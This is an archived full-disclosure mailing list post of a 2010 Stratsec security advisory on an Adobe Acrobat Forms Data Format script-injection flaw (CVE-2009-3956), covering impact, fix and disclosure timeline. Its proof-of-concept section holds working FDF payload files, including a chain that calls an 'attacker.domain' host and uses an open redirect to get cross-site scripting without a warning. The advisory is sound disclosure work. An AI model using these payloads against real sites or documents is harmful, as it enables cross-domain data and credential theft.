full-disclosure-uk January 2010 archive
Main Archive Page > Month Archives  > full-disclosure-uk archives
full-disclosure-uk: [Full-disclosure] Adobe Acrobat Script Injec

[Full-disclosure] Adobe Acrobat Script Injection

From: stratsec Research <research_at_nospam>
Date: Thu Jan 14 2010 - 04:19:22 GMT
To: "full-disclosure@lists.grok.org.uk" <full-disclosure@lists.grok.org.uk>



Stratsec Security Advisory: SS-2010-001
Title: Adobe Acrobat Script Injection Version: 1.0 Issue type: Script Injection
Affected vendor: Adobe
Affected product: Adobe Reader and Acrobat 9.2 and 8.1.7 and earlier versions. Release date: 12/01/2010
Discovered by: Paul Theriault
Issue status: Patch available

Summary



A vulnerability exists within the Forms Data Format (FDF) built into Adobe Acrobat Reader which allows an attacker to inject JavaScript into a Portable Document Format (PDF) file from any domain on the internet. Successful exploitation of this issue results in the potential disclosure of sensitive information or other cross-domain attacks including cross-site scripting.

Description



Acrobat Forms Data Format (FDF) is a mechanism designed to allow PDF forms to be pre-populated with data. The standard process involves loading an FDF file, which specifies data to be loaded and also the location of the PDF that the data should be loaded into. However there are several issues in this process which allow avenues for attack:
  • The JavaScript entry in the FDF dictionary supports a "Before" and "After" key which trigger script to load either before or after the FDF is loaded.
  • The context in which this script is run is not the domain where the FDF file is located, rather the domain of the target PDF file. By default, Acrobat does not prevent the FDF files loading scripts into PDF located on other domains.
  • Furthermore, the target file specification within FDF supports 'javascript:' URIs, which are typically prohibited in other functions by Acrobat Reader

Combining these behaviours allows an attacker to force a victim to load a PDF from any domain, and subsequently execute script in the Acrobat scripting engine, within the context of the target document.

This script would be able to perform any action that is possible within the constraints of the Acrobat scripting engine - an example attack could be to create a script which sends the contents of the PDF to a third party.

This issue can also be used to launch a cross-site scripting attack against any domain hosting a PDF file. Normally the victim of such an attack must accept a warning message. However, if an open redirection vulnerability exists on the domain which is being targeted, cross-site scripting can be achieved without this warning message.

Impact



The ability to inject JavaScript into a PDF file hosted on any domain could be used by an attacker to obtain the contents of sensitive PDF files, or perform other attacks against the target domain. A domain which has an open redirection and also hosts PDF files, is also vulnerable to cross-site scripting. In general cross-site scripting vulnerabilities allow the theft of credentials associated with the domain on which the bug exists.

Affected products



Adobe Reader and Acrobat 9.2 and 8.1.7 and earlier versions.

Proof of concept



The primary exploit scenario is an attacker hosting a malicious FDF file, which initiates loading of a PDF document from the target domain, and then injects script which will be executed as if it was loaded from within the target PDF domain. A proof of concept FDF file is shown below which executes script in a randomly chosen PDF document hosted on the www.example.com domain.

--TEST.FDF--
%FDF-1.2
1 0 obj
<<
/FDF
<< /F(http://www.example.com/any.pdf) /JavaScript << /After (app.alert("Executing script inside Acrobat at "+URL);) >>
>>
>>
endobj
trailer
<</Root 1 0 R>>
--EOF-- The "/F" key specifies the target PDF into which the FDF data is to be loaded, and the "After" key specifies a script be executed after the FDF is loaded. Note that the "Before" key also can be used to inject script.

It is important to note that this script is executing inside the Acrobat JavaScript engine, and not the browser's JavaScript engine, and as such does not have access to browser session cookies. However as the "/F" object also supports 'javascript:' URIs, execution of JavaScript can be achieved in the browser on the target domain. However Acrobat Reader provides a significant mitigation for this attack, warning the user that an attack may be taking place. This error message can be suppressed however if the domain hosting the PDF file has an open redirection vulnerability. This attack requires two malicious FDF files as follows:

  1. Attacker convinces victim to navigate to malicious FDF file located at attacker controlled domain (e.g. http://attacker.domain/xss.fdf). This file has a target file of a PDF located on the target domain. This FDF file injects a script that calls this.submitForm("http://attacker.domain/alert.php#FDF") to load a second FDF file. Note at this point the reader shows a warning as the JavaScript is attempting to communicate cross-domain.

However if the target domain has an open redirection vulnerability, the attacker can use it to prevent the security warning message from being displayed by injecting a script that calls something like:

this.submitForm("http://example.com/redirect?http://attacker/alert.php#FDF")

2. In either case, this second FDF file has a 'javascript:' URI as its target file, which causes script to be executed within the browser, in the context of the target domain.  

The source code for the first page (xss.fdf) and the second page (alert.fdf) are detailed below:

---xss.fdf---
%FDF-1.2
1 0 obj
<<
/FDF
  <<
   /F(http://target.domain/any.pdf)
   /JavaScript << /After (this.submitForm("http://attacker.domain/alert.fdf#FDF")) >>
  >>
>>
endobj
trailer
<</Root 1 0 R>>
---EOF--- ---alert.fdf---
%FDF-1.2
1 0 obj
<<
/FDF
  <<
   /F(javascript:alert("Executing script in browser at "+document.location))   >>
>>
endobj
trailer
<</Root 1 0 R>>
---EOF--- Solution



This issue can be fixed by simply enabling "Enhanced Security" mode within Acrobat. The vendor's response to this issue has been to enable by default in the Acrobat update released January 12, 2010.

Response timeline


16/09/2009 - Vendor notified. 18/09/2009 - Vendor acknowledges receipt of advisory. 07/10/2009 - Vendor confirms issue presence, fix release date agreed as Jan 2010 12/10/2010 - This advisory published.

References


  • CVE item: CVE-2009-3956

About stratsec



Stratsec, specialises in providing information security consulting and testing services for government and commercial clients. Established in 2004, we are now one of the leading independent information security companies in the Australasian and SE-Asian region.

For more information, please visit our website at http://www.stratsec.net/


-- Message protected by MailGuard: e-mail anti-virus, anti-spam and content filtering. http://www.mailguard.com.au/mg _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/